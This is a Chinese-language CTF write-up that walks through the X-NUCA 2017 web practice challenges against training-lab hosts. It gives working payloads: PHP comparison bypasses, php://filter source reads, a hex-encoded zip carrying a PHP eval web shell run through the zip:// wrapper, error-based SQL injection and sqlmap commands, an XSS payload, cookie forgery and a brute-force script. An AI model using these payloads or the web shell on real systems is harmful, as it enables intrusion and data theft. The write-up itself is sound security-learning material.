X-NUCA 2017 Web练习 By Assassin
还差一个
题目链接如下
http://www.hetianlab.com/pages/activity/X-NUCANationalTL2017.jsp
捉迷藏
一看发现一大坨东西,但是都没用发现有一个链接
打开隐约会闪一下回到index.php,说明是个重定向,burp抓包得到flag
FLAG{th!5!5n0tth3fl@g}
简单问答
真是搞不懂这题是几个意思…首先看到页面,貌似是个简答题?但是提交不了,看源码中把submit中的标签去掉disabled=””
将之去掉可以发包,而且用burp抓包后发现提交的东西是畸形
q1=2015&q2=lol+&q4=22&success=false
首先q1应该是2016;然后q2被script脚本改成了多一个空格,去掉;在后不是q4=22,应该是q3啊…最后吧success改成true就好了
flag{W3ll_d0n3}
后台后台后台
首先看到一个普通的界面,进入后一个按钮可以进入管理员界面,但是显示
截包如下
发现cookie中的Member是base64加密后的
Normal,改成base64加密的Admin
flag{C00ki3_n0m_n0m_n0m}
php是最好的语言
直接看到源码
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){is_numeric(@$a["bar1"])?die("nope"):NULL;if(@$a["bar1"]){($a["bar1"]>2016)?$v1=1:NULL;}if(is_array(@$a["bar2"])){if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");$pos = array_search("nudt", $a["a2"]);$pos===false?die("nope"):NULL;foreach($a["bar2"] as $key=>$val){$val==="nudt"?die("nope"):NULL;}$v2=1;}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){if(!strcmp($c[1],$d) && $c[1]!==$d){eregi("3|1|c",$d.$c[0])?die("nope"):NULL;strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;}
}
if($v1 && $v2 && $v3){include "flag.php";echo $flag;
}
?>
绕过挺简单的,忘记eregi在php7中被废弃了…怪不得实验了十万年都没用…
首先丢一个链接,总结的一些php特性
http://blog.csdn.net/qq_35078631/article/details/75200157
第一步,bar1是2017asd,即数字+字母可以绕过和2016比较且不是纯数字
第二步,构造bar2,要求bar2的第一项是数组,且总共数组有五项,且内容不存在nudt
第三步,构造数组中a2项数值为nudt
以上三步可以php代码生成
$test=array("bar1"=>"2017asd","bar2"=>array( "0"=>array(0),1=>2,2=>3,3=>4,4=>5 ),"a2"=>"nudt"
);
print_r (json_encode((array)$test));
?>
结果是{"bar1":"2017asd","bar2":[[0],2,3,4,5],"a2":233}
然后继续看让cat[1]存在,且!strcmp($c[1],$d) && $c[1]!==$d那么根据strcmp特性构造cat[1][]=,成功绕过
后面利用eregi可以用%00截断构造cat[0]=%00htctf2016&dog=what绕过
最终payload
http://218.76.35.75:20114/?foo={"bar1":"2017asd","bar2":[[0],2,3,4,5],"a2":"nudt"} &cat[1][]="1"&&dog= what&cat[0]=%00htctf2016
flag{php_i5_n0t_b4d}
login
首先见到后台,观察猜测是个文件包含,果不其然可以弄到代码
http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=login
base64解密后得到login的关键代码
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";$logfile = "./log/".$login.".log";file_put_contents($logfile, $login."\n".$password);
}
?>
但是这是个啥…一筹莫展…然后发现貌似还可以得到一些源代码
http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=index
可以得到
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";if (@$_GET['log']) {if(file_exists($_GET['log'].".log")){include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}?>
突然发现了什么不得了的事情,首先是当我们登录失败的时候会生成一个log文件
然后我们看如果index.php中有log变量,而且
$_GET['log'].".log"这个文件存在的就直接读取flag.txt了??这不是逆天?于是我们继续构造
flag{10caL_File_1nc1usi0n_C@n_B3_fun}
但是这个题没完,我再看看别人的题解中发现了钓炸天的做法。
比如大牛王一航的做法,因为可以上传,他就刻意构造了一个带有小马的zip文件,然后通过getshell得到flag,太6了…
构造PK结构如下(cat test.zip | hexdump -C查看)
因为要解决zip解压不能解析\n的问题,但是我们上传过程格式为
username+\n
password
然后我们就可以用这个构造出来一个压缩包的格式,清楚的看到,第五个就是0a
构造如下
login=%50%4b%03%04
&password=%03%00%00%00%00%32%0f%11%4b%27%86%ac%bf%1d%00%00%00%1d%00%00%00%08%00%00%00%74%65%73%74%2e%70%68%70%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%0a%50%4b%01%02%3f%03%0a%03%00%00%00%00%32%0f%11%4b%27%86%ac%bf%1d%00%00%00%1d%00%00%00%08%00%00%00%00%00%00%00%00%00%20%80%b4%81%00%00%00%00%74%65%73%74%2e%70%68%70%50%4b%05%06%00%00%00%00%01%00%01%00%36%00%00%00%43%00%00%00%00%00
实验成功
检查能否正常解压,发现是可以解压成功的,然后我们在利用包含的zip协议解压达到效果!!!
请求成功!
http://218.76.35.75:20115/?page=zip://log/PK%03%04.log%23testpost:cmd=phpinfo();
//ps:zip伪协议#后面加的是解压的文件名!这个十分重要!!!
这才是真正的探索精神啊,膜拜学习了
http 头注入
方法一
说是http头部注入,还说什么换个浏览器试试,一开始以为是换user-agent但是实验过后发现referer存在注入
然后?我没有注出来,然后使用sqlmap跑,不负众望跑了出来
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer --tamper=space2comment --level 3
嘿嘿嘿,继续套路就行了
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer --tamper=space2comment --level 3 --dbs
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer -D ctfweb20110 --tables
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer -D ctfweb20110 -T flag -C
python sqlmap.py -u http://218.76.35.75:20121/heetian.php -p referer -D ctfweb20110 -T flag -C "flag" --dump
方法二
偶然间发现存在报错注入
Referer: 1' and extractvalue(1, concat(0x7e, (select @@version),0x7e)) and '1'='1
//爆库名
Referer: 1' and extractvalue(1, concat(0x7e, (SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1),0x7e)) and '1'='1
//爆表
Referer: 1' and extractvalue(1, concat(0x7e, (SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA ='ctfweb20110' limit 0,1),0x7e)) and '1'='1
//爆列
Referer: 1' and extractvalue(1, concat(0x7e, (SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME ='flag' limit 1,1),0x7e)) and '1'='1
//爆答案
Referer: 1' and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) and '1'='1
Y0ugetT82f00000laev
简单的文件上传
一见到文件上传,首先想到%00截断,未果,继续想是否是Content-Type 的问题,上传一个png文件,发现只让传jpg文件,所以修改Content-Type为Content-Type: image/jpeg 然后发现filename可控,改成php文件后缀,得到flag
flag:Upl00d30668ss9h97aFil3
简单的JS
首先打开F12看到源码
p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,102,108,48,97,46,112,104,112,34,62"
p=eval("String.fromCharCode("+p+")");
document.write(p);
写个简单的python脚本跑出来是
<iframe height=0 width=0 src="./fl0a.php">
访问过去看到一个奇奇怪怪的东西
扫一遍目录无果,然后发现在报文中的Cookie中有flag…
C00k1els60SecU5e
php 是门松散的语言
上来看到源码
$he ='goodluck';parse_str($_GET['heetian']);if $he = 'abcd';echo $flag;he=?
发现存在parse_str函数,该函数用来解析字符串并且给变量赋值..勉强算是函数覆盖?
构造
http://218.76.35.75:20124?heetian=he=abcd
得到flag
flag:C00d1uckf0rY0uuu
试试xss
首先根据提示,alert document domain即可,所以应该就用反射型的xss就可以了,然后看题
尝试了输入'>
发现源代码中凭空出现了一个img标签
'><script >alert(document.domain)script>
也返回了domain但是不出flag,于是换一种方法,闭合利用这个img标签
构造如下语句一直弹出框框就是不给flag…
123' onerror=javascript:alert(document.domain)
去掉javascript就有了???
123' onerror=alert(document.domain)
蛇精病…
flag:D0Gum6Ntd0M11n
简单的文件包含
根据提示,构造
http://218.76.35.75:20126/index.php?page=/flag
在源码中得到flag位置
访问得到flag
F11elNcLud3Get
怎么感觉这么无厘头…
简单的验证
也是非常某明奇妙的题目,首先扫描目录无果,然后抓包观察包的特点,发现cookie中有个user和guess,然后发现是个爆破题目,把user改成admin无疑,然后爆破guess即可
#_*_ coding:utf-8 _*_
import requests
url = 'http://218.76.35.75:20127/'for i in range(1000):headers={'Cookie':'td_cookie=18446744070435391241; flag=admin; user=admin; guess=%d'%i}html=requests.get(url,headers=headers)#print html.textif 'flag' in html.text:print html.textbreak
醉了
flag:EaSy70Ch1ngG00kie
vote
一筹莫展,但是发现之前过于在意文件扫描,字典也不够完整,忘记了.bak,.index.php.swo等经典的源码泄露了,我得锅
然后发现/.index.php.swp 存在源码泄露
虽然得到了源码,但是貌似一般的vim -r 方法会显示不让操作,问了牛逼我鸡哥,说要在虚拟机上的vim去跑才可以…这又是啥!我不会,只好直接带着一堆null就看了
大概整理了一下,感觉很奇怪
echo '
$r['image'].'">'.$r['title'].'
$r['id'].'"> ';
while ($r = mysql_fetch_array($q)) {$q = mysql_query('SELECT * FROM t_picture');"1" cellspacing="5">
'; }echo ''.$arr[0].' '.round($arr[1],2).' ';$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));echo ''.$arr[0].' ';$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$f['id']));while ($r = mysql_fetch_array($q)) { echo 'Logo Total votes Average ';echo '';echo 'Thank you! Results:
';$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");$vote = 1;if ($vote > 5 || $vote < 1) $vote = (int)$_POST['vote'];$id = $_POST['id'];die('please select ...'); if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))if (isset($_POST['submit'])) {$login = $_SESSION['login'];} $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);if (!isset($_SESSION['login'])) {session_start();include 'db.php';
发现和输出貌似是相反的,然后可以自己颠倒一下大概是这样的
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];
if (isset($_POST['submit'])) {if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))die('please select ...'); $id = $_POST['id'];$vote = (int)$_POST['vote'];if ($vote > 5 || $vote < 1) $vote = 1;$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");echo 'Thank you! Results:
';echo '';echo 'Logo Total votes Average ';while ($r = mysql_fetch_array($q)) {$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$f['id']));echo ''.$arr[0].' ';$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));echo ''.$arr[0].' '.round($arr[1],2).' ';echo '
';}echo '
goBack
';
}
exit;
?>
"1" cellspacing="5">